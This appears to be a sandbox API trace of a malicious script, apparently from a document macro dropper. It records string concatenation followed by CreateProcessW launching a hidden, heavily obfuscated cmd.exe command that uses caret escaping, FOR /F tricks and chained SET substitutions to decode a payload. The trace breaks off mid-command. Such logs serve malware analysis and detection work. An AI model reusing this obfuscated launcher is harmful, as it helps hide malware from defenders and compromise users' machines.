	[0053.851] IUnknown:QueryInterface (in: This=0xbb2b978, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d580 | out: ppvObject=0x27d580*=0x0) returned 0x80004002
	[0053.851] IUnknown:Release (This=0xbb2b978) returned 0x1
	[0053.851] IUnknown:AddRef (This=0xbb43508) returned 0x5
	[0053.851] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d588 | out: ppvObject=0x27d588*=0x0) returned 0x80004002
	[0053.851] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d580 | out: ppvObject=0x27d580*=0x0) returned 0x80004002
	[0053.851] IUnknown:Release (This=0xbb43508) returned 0x4
	[0053.851] VarAdd (in: pvarLeft=0xbb1f7a8, pvarRight=0xbb1f758, pvarResult=0xbb1f740 | out: pvarResult=0xbb1f740) returned 0x0
	[0053.851] VarAdd (in: pvarLeft=0xbb1f788, pvarRight=0xbb1f770, pvarResult=0xbb1f728 | out: pvarResult=0xbb1f728) returned 0x0
	[0053.851] VarBstrCat (in: bstrLeft="CMD.Exe                  /c ^F^o^r ; /^f ;; \"   tokens=  +2 delims=FeH\"  , %^1,;  iN  ,  (  ,  ',  , ^^f^^t^^Yp^^e  ;^|;^^f^^IN^^d ,  ;,  \"SHCm\" , , ;  ' ; ,  )  , ,  ,^d^O ,%^1,  ;  ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ ,  cw8f/^r \",  (   , ;  ,   ;  ,( ,  ;   , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!)   ; ; ;  ) )&&   ( ,  (,  (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ;  )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) ,   ) ,   )&( ,   , ,   (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) ,  )&& (   (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!),  )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!),   ,  ,  )&   ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&&  (   ,  ;  ,  ( , ; , ;   ,   (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!)  ,   ) , , )&&  (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&&   ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&&  ( , ; ,   ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!)   ,   ;  ,  ;  ,  )&  (   ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!)   ,  )   ,  ;, )&   ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ;  , )& ( ( ,  , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )&  (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )", bstrRight="T ^ ^?^$^_=^!^`^}^$^@:^p^BM^=^Q^!)  , )   ,   ,  )&  (   ,,,(  ,  ,,   (^s^ET ^ ^ ;^.^+=^!^?^$^_^:^(^=^7^!) ; ; ; ) , )&&   (^S^e^t ^ ^ ^-^}=^!^;^.^+^:^a^K^=^=^!)&  ( ,   , (^S^et ^ ^.^;^?=^!^-^}^:^h^e^i^=^j^!) ; ; ; )&& (   ;  ; ;  ( ; ; (S^e^T ^ ^ ^+^.^@^#=!^.^;^?^:^3^k^9^=^b^!)   ,, ,  ) ,;   , ;  , ;   ,)&&   ( ; ; ( (^S^Et ^{^'^`^#=^!^+^.^@^#^:^4^=^w^!) , ) , )&   ( , , (^s^E^t ^}^$^]^?=^!^{^'^`^#^:^H^=^4^!)   ,,  ,)&  (^s^e^T ^{^,^.=^!^}^$^]^?^:^a^E^=^G^!)&&(^s^E^T ^ ^ ^ ^}^{=^!^{^,^.^:^1^=^(!)&( ( , (^S^e^T ^.^@^_#=!^}^{^:^T^F^=^h^!) ) ; )&   ( (^S^E^t ^ ^ ^]^$^*^{=!^.^@^_^#^:^j^V^=^H^!)  ; ;   ; )&(^s^eT ^ ^#^-=^!^]^$^*^{^:Dn^=^1^!)&&   ( , ,   (   , ,   (S^e^T ^.^$^+=^!^#^-^:^t^y^=^P^!) , ) )&&( ; ;   ( ,   , (^s^e^t ^ ^+^,^\\=^!^.^$^+^:^q^vN^=N^!),   ,   , ),  ,,,  , )&   (,; ,   ;,(^S^e^t ^ ^  ^]^#=^!^+^,^\\^:^[^=^;^!)   ,   )&  ( , , ( ; ; (^Se^T ^_^`^@^#=^!^]^#^:^{^=^[^!)   ; ;   ) ,  )&(^S^e^t ^ ^ ^[^_=!^_^`^@^#^:^\\^=^{^!)&& (^s^e^t ^ ^ ^$^_^'^}=^!^[^_^:^3^=^U^!)& (^S^e^t ^\\^[,^#=^!^$^_^'^}^:^@=^$!)&&   (   ;  ( , (^s^e^t ^,^`=^!^\\^[^,^#^:^#^=^3^!),  ) ,   ;  ,   ; ,  )& (  , , (^S^e^t ^*^[^-^,=^!^,^`^:^`^=^y!) ; ; ; )&& , ^F^oR  ; ; ; /^f ,\"delims=ULfr  tokens=   +1   \"  ; , %^g; ; ,  ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; ,  ^|,  ,  ^^f^^iN^^d^^S^^t^^r ;^^c^^m  '; ,)  , ;  ^d^o, ,   ;;  ;  (^e^c^h^O  ,%^*^[^-^,%   |%^g; ); ,  \"", pbstrResult=0x27da30 | out: pbstrResult=0x27da30) returned 0x0
	[0053.852] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="CMD.Exe                  /c ^F^o^r ; /^f ;; \"   tokens=  +2 delims=FeH\"  , %^1,;  iN  ,  (  ,  ',  , ^^f^^t^^Yp^^e  ;^|;^^f^^IN^^d ,  ;,  \"SHCm\" , , ;  ' ; ,  )  , ,  ,^d^O ,%^1,  ;  ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ ,  cw8f/^r \",  (   , ;  ,   ;  ,( ,  ;   , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!)   ; ; ;  ) )&&   ( ,  (,  (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ;  )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) ,   ) ,   )&( ,   , ,   (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) ,  )&& (   (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!),  )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!),   ,  ,  )&   ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&&  (   ,  ;  ,  ( , ; , ;   ,   (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!)  ,   ) , , )&&  (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&&   ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&&  ( , ; ,   ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!)   ,   ;  ,  ;  ,  )&  (   ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!)   ,  )   ,  ;, )&   ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ;  , )& ( ( ,  , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )&  (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x27d9b0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x27d990 | out: lpCommandLine="CMD.Exe                  /c ^F^o^r ; /^f ;; \"   tokens=  +2 delims=FeH\"  , %^1,;  iN  ,  (  ,  ',  , ^^f^^t^^Yp^^e  ;^|;^^f^^IN^^d ,  ;,  \"SHCm\" , , ;  ' ; ,  )  , ,  ,^d^O ,%^1,  ;  ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ ,  cw8f/^r \",  (   , ;  ,   ;  ,( ,  ;   , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ 